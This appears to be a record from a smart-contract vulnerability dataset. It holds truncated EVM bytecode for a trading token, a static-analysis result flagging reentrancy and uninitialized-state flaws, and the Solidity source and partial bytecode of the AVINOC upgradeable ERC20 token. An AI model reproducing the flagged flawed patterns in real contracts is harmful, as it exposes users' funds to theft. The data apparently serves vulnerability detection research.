ffff1669d3c21bcecceda1000000610f95565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6357600080fd5b505afa158015610b77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9b9190611f80565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bfd57600080fd5b505afa158015610c11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c359190611f80565b6040518363ffffffff1660e01b8152600401610c52929190612369565b602060405180830381600087803b158015610c6c57600080fd5b505af1158015610c80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca49190611f80565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d2d306106fe565b600080610d386108a2565b426040518863ffffffff1660e01b8152600401610d5a969594939291906123bb565b6060604051808303818588803b158015610d7357600080fd5b505af1158015610d87573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dac91906120da565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555069043c33c19375648000006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610eb0929190612392565b602060405180830381600087803b158015610eca57600080fd5b505af1158015610ede573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0291906120ad565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611005576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffc90612519565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106c90612479565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111539190612559565b60405180910390a3505050565b600081116111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a906124f9565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111fa57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611446576001600a819055506005600b81905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156112e85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561133e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113565750600e60179054906101000a900460ff165b1561138357610384600f5461136b919061263e565b4210156113825760105481111561138157600080fd5b5b5b600061138e306106fe565b9050600e60159054906101000a900460ff161580156113fb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114135750600e60169054906101000a900460ff165b156114445761142181611594565b600047905069152d02c7e14af680000081111561144257611441476114ba565b5b505b505b61145183838361181c565b505050565b600083831115829061149e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114959190612437565b60405180910390fd5b50600083856114ad919061271f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611522573d6000803e3d6000fd5b5050565b600060085482111561156d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156490612459565b60405180910390fd5b600061157761182c565b905061158c818461185790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156115cc576115cb61287a565b5b6040519080825280602002602001820160405280156115fa5781602001602082028036833780820191505090505b50905030816000815181106116125761161161284b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156116b457600080fd5b505afa1580156116c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ec9190611f80565b81600181518110611700576116ff61284b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061176730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f95565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016117cb959493929190612574565b600060405180830381600087803b1580156117e557600080fd5b505af11580156117f9573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6118278383836118a1565b505050565b6000806000611839611a6c565b91509150611850818361185790919063ffffffff16565b9250505090565b600061189983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ad1565b905092915050565b6000806000806000806118b387611b34565b95509550955095509550955061191186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f281611c44565b6119fc8483611d01565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a599190612559565b60405180910390a3505050505050505050565b60008060006008549050600069d3c21bcecceda10000009050611aa469d3c21bcecceda100000060085461185790919063ffffffff16565b821015611ac45760085469d3c21bcecceda1000000935093505050611acd565b81819350935050505b9091565b60008083118290611b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0f9190612437565b60405180910390fd5b5060008385611b279190612694565b9050809150509392505050565b6000806000806000806000806000611b518a600a54600b54611d3b565b9250925092506000611b6161182c565b90506000806000611b748e878787611dd1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bde83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611456565b905092915050565b6000808284611bf5919061263e565b905083811015611c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3190612499565b60405180910390fd5b8091505092915050565b6000611c4e61182c565b90506000611c658284611e5a90919063ffffffff16565b9050611cb981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d1682600854611b9c90919063ffffffff16565b600881905550611d3181600954611be690919063ffffffff16565b6009819055505050565b600080600080611d676064611d59888a611e5a90919063ffffffff16565b61185790919063ffffffff16565b90506000611d916064611d83888b611e5a90919063ffffffff16565b61185790919063ffffffff16565b90506000611dba82611dac858c611b9c90919063ffffffff16565b611b9c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611dea8589611e5a90919063ffffffff16565b90506000611e018689611e5a90919063ffffffff16565b90506000611e188789611e5a90919063ffffffff16565b90506000611e4182611e338587611b9c90919063ffffffff16565b611b9c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e6d5760009050611ecf565b60008284611e7b91906126c5565b9050828482611e8a9190612694565b14611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec1906124b9565b60405180910390fd5b809150505b92915050565b600081359050611ee481612ac5565b92915050565b600081519050611ef981612ac5565b92915050565b600081359050611f0e81612adc565b92915050565b600081519050611f2381612adc565b92915050565b600081359050611f3881612af3565b92915050565b600081519050611f4d81612af3565b92915050565b600060208284031215611f6957611f686128a9565b5b6000611f7784828501611ed5565b91505092915050565b600060208284031215611f9657611f956128a9565b5b6000611fa484828501611eea565b91505092915050565b60008060408385031215611fc457611fc36128a9565b5b6000611fd285828601611ed5565b9250506020611fe385828601611ed5565b9150509250929050565b600080600060608486031215612006576120056128a9565b5b600061201486828701611ed5565b935050602061202586828701611ed5565b925050604061203686828701611f29565b9150509250925092565b60008060408385031215612057576120566128a9565b5b600061206585828601611ed5565b925050602061207685828601611f29565b9150509250929050565b600060208284031215612096576120956128a9565b5b60006120a484828501611eff565b91505092915050565b6000602082840312156120c3576120c26128a9565b5b60006120d184828501611f14565b91505092915050565b6000806000606084860312156120f3576120f26128a9565b5b600061210186828701611f3e565b935050602061211286828701611f3e565b925050604061212386828701611f3e565b9150509250925092565b60006121398383612145565b60208301905092915050565b61214e81612753565b82525050565b61215d81612753565b82525050565b600061216e826125f9565b612178818561261c565b9350612183836125e9565b8060005b838110156121b457815161219b888261212d565b97506121a68361260f565b925050600181019050612187565b5085935050505092915050565b6121ca81612765565b82525050565b6121d9816127a8565b82525050565b60006121ea82612604565b6121f4818561262d565b93506122048185602086016127ba565b61220d816128ae565b840191505092915050565b6000612225602a8361262d565b9150612230826128bf565b604082019050919050565b600061224860228361262d565b91506122538261290e565b604082019050919050565b600061226b601b8361262d565b91506122768261295d565b602082019050919050565b600061228e60218361262d565b915061229982612986565b604082019050919050565b60006122b160208361262d565b91506122bc826129d5565b602082019050919050565b60006122d460298361262d565b91506122df826129fe565b604082019050919050565b60006122f760248361262d565b915061230282612a4d565b604082019050919050565b600061231a60178361262d565b915061232582612a9c565b602082019050919050565b61233981612791565b82525050565b6123488161279b565b82525050565b60006020820190506123636000830184612154565b92915050565b600060408201905061237e6000830185612154565b61238b6020830184612154565b9392505050565b60006040820190506123a76000830185612154565b6123b46020830184612330565b9392505050565b600060c0820190506123d06000830189612154565b6123dd6020830188612330565b6123ea60408301876121d0565b6123f760608301866121d0565b6124046080830185612154565b61241160a0830184612330565b979650505050505050565b600060208201905061243160008301846121c1565b92915050565b6000602082019050818103600083015261245181846121df565b905092915050565b6000602082019050818103600083015261247281612218565b9050919050565b600060208201905081810360008301526124928161223b565b9050919050565b600060208201905081810360008301526124b28161225e565b9050919050565b600060208201905081810360008301526124d281612281565b9050919050565b600060208201905081810360008301526124f2816122a4565b9050919050565b60006020820190508181036000830152612512816122c7565b9050919050565b60006020820190508181036000830152612532816122ea565b9050919050565b600060208201905081810360008301526125528161230d565b9050919050565b600060208201905061256e6000830184612330565b92915050565b600060a0820190506125896000830188612330565b61259660208301876121d0565b81810360408301526125a88186612163565b90506125b76060830185612154565b6125c46080830184612330565b9695505050505050565b60006020820190506125e3600083018461233f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061264982612791565b915061265483612791565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612689576126886127ed565b5b828201905092915050565b600061269f82612791565b91506126aa83612791565b9250826126ba576126b961281c565b5b828204905092915050565b60006126d082612791565b91506126db83612791565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612714576127136127ed565b5b828202905092915050565b600061272a82612791565b915061273583612791565b925082821015612748576127476127ed565b5b828203905092915050565b600061275e82612771565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006127b382612791565b9050919050565b60005b838110156127d85780820151818401526020810190506127bd565b838111156127e7576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612ace81612753565b8114612ad957600080fd5b50565b612ae581612765565b8114612af057600080fd5b50565b612afc81612791565b8114612b0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b21ba1f9350f1d5a18888709defc26aba64a5c9a95be63f484f4220c367c8cd164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,320 |
0xf1ca9cb74685755965c7458528a36934df52a3ef
|
pragma solidity 0.4.24;
// @title SafeMath
// @dev Math operations with safety checks that throw on error
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
// @title Ownable
// @dev The Ownable contract has an owner address, and provides basic authorization control
// functions, this simplifies the implementation of "user permissions".
contract Ownable {
address public owner;
// @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
constructor() public {
owner = msg.sender;
}
// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// @dev Allows the current owner to transfer control of the contract to a newOwner.
// @param newOwner The address to transfer ownership to.
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
// @title ERC20Basic
// @dev Simpler version of ERC20 interface
// @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
contract ERC20Basic {
event Transfer(address indexed from, address indexed to, uint value);
function totalSupply() public view returns (uint256 supply);
function balanceOf(address who) public view returns (uint256 balance);
function transfer(address to, uint256 value) public returns (bool success);
}
// @title ERC20 interface
// @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
contract ERC20 is ERC20Basic {
event Approval(address indexed owner, address indexed spender, uint256 value);
function allowance(address owner, address spender) public view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
}
// @title Basic token
// @dev Basic version of StandardToken, with no allowances.
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
// @dev Fix for the ERC20 short address attack.
modifier onlyPayloadSize(uint256 size) {
require(!(msg.data.length < size + 4));
_;
}
// @dev transfer token for a specified address
// @param _to The address to transfer to.
// @param _value The amount to be transferred.
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
// @dev Gets the balance of the specified address.
// @param _owner The address to query the the balance of.
// @return An uint256 representing the amount owned by the passed address.
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// @title Standard ERC20 token
// @dev Implementation of the basic standard token.
// @dev https://github.com/ethereum/EIPs/issues/20
// @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
contract StandardToken is BasicToken, ERC20 {
mapping(address => mapping(address => uint256)) public allowed;
uint256 public constant MAX_UINT256 = 2 ** 256 - 1;
// @dev Transfer tokens from one address to another
// @param _from address The address which you want to send tokens from
// @param _to address The address which you want to transfer to
// @param _value uint256 the amount of tokens to be transferred
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool success) {
require(_to != address(0));
require(_value <= balances[_from]);
uint256 _allowance = allowed[_from][msg.sender];
require(_value <= _allowance);
// @dev Treat 2^256-1 means unlimited allowance
if (_allowance < MAX_UINT256)
allowed[_from][msg.sender] = _allowance.sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
// @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
// Beware that changing an allowance with this method brings the risk that someone may use both the old
// and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
// race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
// @param _spender The address which will spend the funds.
// @param _value The amount of tokens to be spent.
function approve(address _spender, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// @dev approve should be called when allowed[_spender] == 0. To increment allowed value is better to use
// @dev this function to avoid 2 calls (and wait until the first transaction is mined)
// @param _spender The address which will spend the funds.
// @param _addedValue The amount of tokens to be added to the allowance.
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// @dev Function to check the amount of tokens than an owner allowed to a spender.
// @param _owner address The address which owns the funds.
// @param _spender address The address which will spend the funds.
// @return A uint256 specifying the amount of tokens still available for the spender.
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
// @title Upgraded standard token
// @dev Contract interface that the upgraded contract has to implement
// @dev Methods to be called by the legacy contract
// @dev They have to ensure msg.sender to be the contract address
contract UpgradedStandardToken is StandardToken {
function transferByLegacy(address from, address to, uint256 value) public returns (bool success);
function transferFromByLegacy(address sender, address from, address spender, uint256 value) public returns (bool success);
function approveByLegacy(address from, address spender, uint256 value) public returns (bool success);
function increaseApprovalByLegacy(address from, address spender, uint256 value) public returns (bool success);
function decreaseApprovalByLegacy(address from, address spender, uint256 value) public returns (bool success);
}
// @title Upgradeable standard token
// @dev The upgradeable contract interface
// @dev
// @dev They have to ensure msg.sender to be the contract address
contract UpgradeableStandardToken is StandardToken {
address public upgradeAddress;
uint256 public upgradeTimestamp;
// The contract is initialized with an upgrade timestamp close to the heat death of the universe.
constructor() public {
upgradeAddress = address(0);
// Set the timestamp of the upgrade to some time close to the heat death of the universe.
upgradeTimestamp = MAX_UINT256;
}
// Forward ERC20 methods to upgraded contract after the upgrade timestamp has been reached
function transfer(address _to, uint256 _value) public returns (bool success) {
if (now > upgradeTimestamp) {
return UpgradedStandardToken(upgradeAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract after the upgrade timestamp has been reached
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (now > upgradeTimestamp) {
return UpgradedStandardToken(upgradeAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract after the upgrade timestamp has been reached
function balanceOf(address who) public view returns (uint256 balance) {
if (now > upgradeTimestamp) {
return UpgradedStandardToken(upgradeAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract after the upgrade timestamp has been reached
function approve(address _spender, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool success) {
if (now > upgradeTimestamp) {
return UpgradedStandardToken(upgradeAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
if (now > upgradeTimestamp) {
return UpgradedStandardToken(upgradeAddress).increaseApprovalByLegacy(msg.sender, _spender, _addedValue);
} else {
return super.increaseApproval(_spender, _addedValue);
}
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
if (now > upgradeTimestamp) {
return UpgradedStandardToken(upgradeAddress).decreaseApprovalByLegacy(msg.sender, _spender, _subtractedValue);
} else {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// Forward ERC20 methods to upgraded contract after the upgrade timestamp has been reached
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
if (now > upgradeTimestamp) {
return StandardToken(upgradeAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// Upgrade this contract with a new one, it will auto-activate 12 weeks later
function upgrade(address _upgradeAddress) public onlyOwner {
require(now < upgradeTimestamp);
require(_upgradeAddress != address(0));
upgradeAddress = _upgradeAddress;
upgradeTimestamp = now.add(12 weeks);
emit Upgrading(_upgradeAddress, upgradeTimestamp);
}
// Called when contract is upgrading
event Upgrading(address newAddress, uint256 timestamp);
}
// @title The AVINOC Token contract
contract AVINOCToken is UpgradeableStandardToken {
string public constant name = "AVINOC Token";
string public constant symbol = "AVINOC";
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant TOTAL_SUPPLY = 1000000000 * decimalFactor;
constructor() public {
balances[owner] = TOTAL_SUPPLY;
}
// @dev Don't accept ETH
function() public payable {
revert();
}
// @dev return the fixed total supply
function totalSupply() public view returns (uint256) {
return TOTAL_SUPPLY;
}
}
|
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101215780630900f010146101ab578063095ea7b3146101ce57806318160ddd1461020657806323b872dd1461022d57806327e235e314610257578063313ce5671461027857806333a581d2146102a35780635c658165146102b8578063631f0d66146102df57806366188463146103105780636d6a6a4d1461033457806370a08231146103495780638da5cb5b1461036a578063902d55a51461037f578063921bd6f01461039457806395d89b41146103a9578063a9059cbb146103be578063d73dd623146103e2578063dd62ed3e14610406578063f2fde38b1461042d575b600080fd5b34801561012d57600080fd5b5061013661044e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610170578181015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b757600080fd5b506101cc600160a060020a0360043516610485565b005b3480156101da57600080fd5b506101f2600160a060020a0360043516602435610540565b604080519115158252519081900360200190f35b34801561021257600080fd5b5061021b610618565b60408051918252519081900360200190f35b34801561023957600080fd5b506101f2600160a060020a0360043581169060243516604435610628565b34801561026357600080fd5b5061021b600160a060020a03600435166106f9565b34801561028457600080fd5b5061028d61070b565b6040805160ff9092168252519081900360200190f35b3480156102af57600080fd5b5061021b610710565b3480156102c457600080fd5b5061021b600160a060020a0360043581169060243516610716565b3480156102eb57600080fd5b506102f4610733565b60408051600160a060020a039092168252519081900360200190f35b34801561031c57600080fd5b506101f2600160a060020a0360043516602435610742565b34801561034057600080fd5b5061021b610809565b34801561035557600080fd5b5061021b600160a060020a0360043516610815565b34801561037657600080fd5b506102f46108cd565b34801561038b57600080fd5b5061021b6108dc565b3480156103a057600080fd5b5061021b6108ec565b3480156103b557600080fd5b506101366108f2565b3480156103ca57600080fd5b506101f2600160a060020a0360043516602435610929565b3480156103ee57600080fd5b506101f2600160a060020a03600435166024356109b4565b34801561041257600080fd5b5061021b600160a060020a0360043581169060243516610a3f565b34801561043957600080fd5b506101cc600160a060020a0360043516610ac5565b60408051808201909152600c81527f4156494e4f4320546f6b656e0000000000000000000000000000000000000000602082015281565b600054600160a060020a0316331461049c57600080fd5b60045442106104aa57600080fd5b600160a060020a03811615156104bf57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790556104f442626ebe00610b2c565b600481905560408051600160a060020a0384168152602081019290925280517f31f318b4595f2fd3e053de63a164ee2bf718790dabfdab118b5573c6606971cb9281900390910190a150565b60006040604436101561055257600080fd5b60045442111561060457600354604080517faee92d33000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a038781166024830152604482018790529151919092169163aee92d339160648083019260209291908290030181600087803b1580156105d157600080fd5b505af11580156105e5573d6000803e3d6000fd5b505050506040513d60208110156105fb57600080fd5b50519150610611565b61060e8484610b3b565b91505b5092915050565b6b033b2e3c9fd0803ce800000090565b60006004544211156106e457600354604080517f8b477adb000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a03878116602483015286811660448301526064820186905291519190921691638b477adb9160848083019260209291908290030181600087803b1580156106b157600080fd5b505af11580156106c5573d6000803e3d6000fd5b505050506040513d60208110156106db57600080fd5b505190506106f2565b6106ef848484610bb5565b90505b9392505050565b60016020526000908152604090205481565b601281565b60001981565b600260209081526000928352604080842090915290825290205481565b600354600160a060020a031681565b60006004544211156107f657600354604080517f6001279f000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a0386811660248301526044820186905291519190921691636001279f9160648083019260209291908290030181600087803b1580156107c357600080fd5b505af11580156107d7573d6000803e3d6000fd5b505050506040513d60208110156107ed57600080fd5b50519050610803565b6108008383610d35565b90505b92915050565b670de0b6b3a764000081565b60006004544211156108bc57600354604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152915191909216916370a082319160248083019260209291908290030181600087803b15801561088957600080fd5b505af115801561089d573d6000803e3d6000fd5b505050506040513d60208110156108b357600080fd5b505190506108c8565b6108c582610e24565b90505b919050565b600054600160a060020a031681565b6b033b2e3c9fd0803ce800000081565b60045481565b60408051808201909152600681527f4156494e4f430000000000000000000000000000000000000000000000000000602082015281565b60006004544211156109aa57600354604080517f6e18980a000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a0386811660248301526044820186905291519190921691636e18980a9160648083019260209291908290030181600087803b1580156107c357600080fd5b6108008383610e3f565b6000600454421115610a3557600354604080517fa9538157000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a038681166024830152604482018690529151919092169163a95381579160648083019260209291908290030181600087803b1580156107c357600080fd5b6108008383610f33565b6000600454421115610abb57600354604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a03868116600483015285811660248301529151919092169163dd62ed3e9160448083019260209291908290030181600087803b1580156107c357600080fd5b6108008383610fcc565b600054600160a060020a03163314610adc57600080fd5b600160a060020a0381161515610af157600080fd5b600160a060020a03811615610b29576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b6000828201838110156106f257fe5b600060406044361015610b4d57600080fd5b336000818152600260209081526040808320600160a060020a03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60008060606064361015610bc857600080fd5b600160a060020a0385161515610bdd57600080fd5b600160a060020a038616600090815260016020526040902054841115610c0257600080fd5b600160a060020a0386166000908152600260209081526040808320338452909152902054915081841115610c3557600080fd5b600019821015610c7457610c4f828563ffffffff610ff716565b600160a060020a03871660009081526002602090815260408083203384529091529020555b600160a060020a038616600090815260016020526040902054610c9d908563ffffffff610ff716565b600160a060020a038088166000908152600160205260408082209390935590871681522054610cd2908563ffffffff610b2c16565b600160a060020a0380871660008181526001602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600195945050505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808310610d8957336000908152600260209081526040808320600160a060020a0388168